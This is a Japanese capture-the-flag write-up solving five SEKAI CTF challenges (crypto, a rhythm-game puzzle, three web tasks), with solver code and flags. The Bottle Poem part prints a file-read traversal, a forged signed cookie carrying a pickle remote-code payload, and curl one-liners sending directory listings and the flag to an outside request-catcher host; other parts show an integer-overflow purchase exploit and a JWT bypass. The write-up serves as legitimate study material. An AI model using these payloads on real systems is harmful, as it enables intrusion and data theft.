- [crypto] Time Capsule
- [PPC] Let’s Play Osu!Mania
- [web] Bottle Poem
- [web] Crab Commodities
- [web] Issues
[crypto] Time Capsule
SEKAI{から始まる平文にstage1処理をして、stage2処理をしたものが与えられる。
逆関数をどちらも作って解読していく。
まずは、stage2であるが、xor暗号化している。
ざっくり「msg ^ 乱数列 + time(後ろ18byte) ^ 0x42」みたいな処理になっている。
乱数列はtimeをもとに生成しているので、
- 後ろ18byteを持ってきて0x42とxorすることでtimeを明らかにする
- timeが分かれば乱数列を再現できるので、再現してmsgを手に入れる
これでstage2処理前のメッセージが得られたので次はstage1を考える。
8個のランダムな[0,255]からなる配列を使ってシャッフル処理をしている。
[0,255]からなる配列を使ってはいるが、大小関係だけを処理では使用しているので、
実質[0,1,2,3,4,5,6,7]の配列をランダムに入れ替えたものと考えてしまって問題ない。
これは8!通りしか組み合わせが無いので全探索ができる。
あとは、シャッフルに使用しているencrypt_stage_oneの逆関数を作って、
すべての組み合わせからSEKAI{から始まる平文を探し出すと答え。
SEKAI{T1m3_15_pr3C10u5_s0_Enj0y_ur_L1F5!!!}
import base64
from Crypto.Util.strxor import *
import random
import os
enc = "lrr8pZFJCsp0qt0mBnsrIaATtebvixGqchUKfdlTil6tOh+aCtDDexsoynN0dnVwdnN1c3JscXp2dHV3cg=="
enc = base64.b64decode(enc)
# solve stage two
msg = enc[:-18]
now = enc[-18:]
now = strxor(now, b"\x42" * 18)
print(now)
random.seed(now)
key = [random.randrange(256) for _ in msg]
msg = bytes([m ^ k for (m,k) in zip(msg, key)])
print(msg)
# solve stage one
msg = msg.decode('utf-8')
def encrypt_stage_one_rev(message, key):
    u = [s for s in sorted(zip(key, range(len(key))))]
    buf = []
    cur = 0
    for i in u:
        for j in range(i[1], len(message), len(key)):
            buf.append((j, message[cur]))
            cur += 1
    res = ""
    for p in sorted(buf):
        res += p[1]
    return res
import itertools
for rand_nums in list(itertools.permutations(list(range(8)))):
    flag = msg
    for _ in range(42):
        flag = encrypt_stage_one_rev(flag, rand_nums)
    if flag.startswith("SEKAI{"):
        print(f"found! {flag}")
[PPC] Let’s Play Osu!Mania
普通に競プロ。 
音ゲーの譜面があって、tap noteとhold noteが書いてある。
hold noteは連続しているものは1つとしてカウントするときにnoteの数を答える問題。
横は4固定で縦Nは、N<104。
適当に実装する。
tap noteの数を数えて、hold noteのグループ数も数える。
hold noteの上下にはtap noteがあるので、hold noteの数だけtap noteを1つ多く数えてしまっていることになる。
(hold部分の上は数えてOKだけど下は数えると二重で数えていることになる)
なので、tap-holdが答え。
SEKAI{wysi_Wh3n_y0u_fuxx1ng_C_727727}
int N; string notes[10101]; void _main() { cin >> N; getline(cin, notes[0]); rep(i, 0, N) getline(cin, notes[i]); int tap = 0; int hold = 0; int pre[4] = { 0, 0, 0, 0 }; rep(y, 0, N) { rep(x, 0, 4) { char c = notes[y][x + 1]; if (c == '#') { if (pre[x] == 0) { hold++; pre[x]++; } } else { pre[x] = 0; if (c == '-') tap++; } } } cout << tap - hold << endl; }
[web] Bottle Poem
ポエムが読めるサイト。
/show?id=spring.txtのようにファイルを読み込んでいる感があるので、
/show?id=/etc/passwdでやってみると抜けてくる。
LFI脆弱性が見つかる。
レスポンスを見るとserver: WSGIServer/0.2 CPython/3.8.12とあるのでpythonで書かれている。
それともとにいろいろやると、/show?id=/proc/self/cwd/app.pyでコードが抜けてくる。
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re
@route("/")
def home():
    return template("index")
@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile
@error(404)
def error404(error):
    return template("error")
@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"
if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)
/signでsession["name"] == "admin"になればフラグが得られそうと予想。
tokenにsecretを使って署名しているみたい。
from config.secret import sekaiとなっているので、これもLFIで抜く。
GET /show?id=/proc/self/cwd/config/secret.py
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
適当にコードを書いてCookieを作る。
from bottle import route, run, template, request, response, error
import os
@route("/")
def home():
    response.set_cookie("name", {"name": "admin"}, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
    return "yeah"
if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=1337)
それを送るとadminで入れるが、フラグが出てこない。
Cookie: name="!rsOwvUb6jllVHQVOPlZv5w==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg=="
んー
問題文を見ると追記されていた
Flag is executable on server.
RCEまでつなげないとダメみたい。
んー、あー、と思っていると日本語の素晴らしい記事が見つかる。
[pickleを利用した任意のコード実行とPython Web Framework - mrtc0.log] (https://mrtc0.hateblo.jp/entry/2015/12/08/230840)
ここにかなり親切に書いてある!
name=guestのcookieを持ってくると!o8siMrdaVf83giE8crJurg==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg==で
import pickle; from base64 import b64encode, b64decode x = b'gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg==' x = b64decode(x) x = pickle.loads(x) print(x)
中身を見てみると('name', {'name': 'guest'})となっているみたい。
https://github.com/bottlepy/bottle/blob/master/bottle.py#L1848-L1856
を見ながら微妙にコードを変更して新しくcookieを作る。
import pickle, subprocess, base64, hmac, requests, sys
import hashlib
class getpasswd(object):
    def __reduce__(self):
        return (subprocess.check_output, (('bash','-c', 'curl https://abc.requestcatcher.com/test/'),))
p = pickle.dumps(('name', getpasswd()))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new(b"Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu", msg, digestmod=hashlib.md5).digest())
c = b'!'+sig+b'?'+msg
print(c)
requestcatcherでリクエストを待って、これをCookieのnameに入れて、/signへリクエストを飛ばすとRCEできていることが確認できる。
探索するとフラグが手に入る。
ls -la / | curl https://abcc.requestcatcher.com/test/ -X POST -d @-
total 80
drwxr-xr-x   1 root root 4096 Oct  1 11:28 .
drwxr-xr-x   1 root root 4096 Oct  1 11:28 ..
drwxr-xr-x   1 root root 4096 Sep 30 17:27 app
drwxr-xr-x   1 root root 4096 Mar  1  2022 bin
drwxr-xr-x   2 root root 4096 Dec 11  2021 boot
drwxr-xr-x   5 root root  360 Oct  1 11:28 dev
drwxr-xr-x   1 root root 4096 Oct  1 11:28 etc
---x--x--x   1 root root  568 Sep 15 06:37 flag
drwxr-xr-x   2 root root 4096 Dec 11  2021 home
drwxr-xr-x   1 root root 4096 Mar  1  2022 lib
drwxr-xr-x   2 root root 4096 Feb 28  2022 lib64
drwxr-xr-x   2 root root 4096 Feb 28  2022 media
drwxr-xr-x   2 root root 4096 Feb 28  2022 mnt
drwxr-xr-x   2 root root 4096 Feb 28  2022 opt
dr-xr-xr-x 311 root root    0 Oct  1 11:28 proc
drwx------   1 root root 4096 Sep 29 20:22 root
drwxr-xr-x   3 root root 4096 Feb 28  2022 run
drwxr-xr-x   1 root root 4096 Mar  1  2022 sbin
drwxr-xr-x   2 root root 4096 Feb 28  2022 srv
dr-xr-xr-x  13 root root    0 Sep 30 19:00 sys
drwxrwxrwt   1 root root 4096 Sep 29 20:22 tmp
drwxr-xr-x   1 root root 4096 Feb 28  2022 usr
drwxr-xr-x   1 root root 4096 Feb 28  2022 var
/flag | curl https://abcc.requestcatcher.com/test/ -X POST -d @-
SEKAI{W3lcome_To_Our_Bottle}
[web] Crab Commodities
売買をして稼ぐゲーム。
2_000_000_000円あればflagが買えるので何とか不正をしてお金を稼ぐ。
ソースコードを読み込んでいくと悪用可能なオーバーフロー箇所がある。
api.rsのPOST /upgrade部分、111行目price *= body.quantity;という処理があり、ここでオーバーフローが発生する。
priceはgame.rsの157行目にてpub price: i32,のように定義されているので符号付32ビット。
この処理に入るStorage Upgradeの場合はprice=100_000であり、body.quantityは32766が最大なので、掛け合わせると上限の2147483647を超えてオーバーフローする。
最終的にこの値がapi.rsの146行目でuser.game.money.set(user.game.money.get() - price as i64);のように引き算されるので、支払っているはずが、稼ぐことができそうだ。
POST /api/upgradeでbodyをname=Storage+Upgrade&quantity=32765とすると、所持金が1,018,497,296になった。
OK.
オーバーフローしすぎると増やせる額が減ってしまうので、良い感じに調整をしてflagを買えるようにする。
POST /api/upgradeでbodyをname=Storage+Upgrade&quantity=22000とすると、所持金が2,094,997,296になった。
フラグが買えるようになる。
SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}
[web] Issues
フラグを得るためには/api/flagにアクセスする必要があるが、その前にauthorizeによってtoken検証される。
有効な認証トークンを作成しよう。app.pyを見るとログインは作成中なので、自力でtokenを作成して、エラーを突破していく。
- No Authorization header found
- issuer not found in JWT header
- JWTのissuerに適当なURLを入れて試す
 
- Invalid issuer netloc: {issuer}. Should be: {valid_issuer}
- Expecting value: line 1 column 1 (char 0)
- user claim missing
- {'user':'admin'}が要求されているので作るとフラグが得られる。
 
SEKAI{v4l1d4t3_y0ur_i55u3r_plz}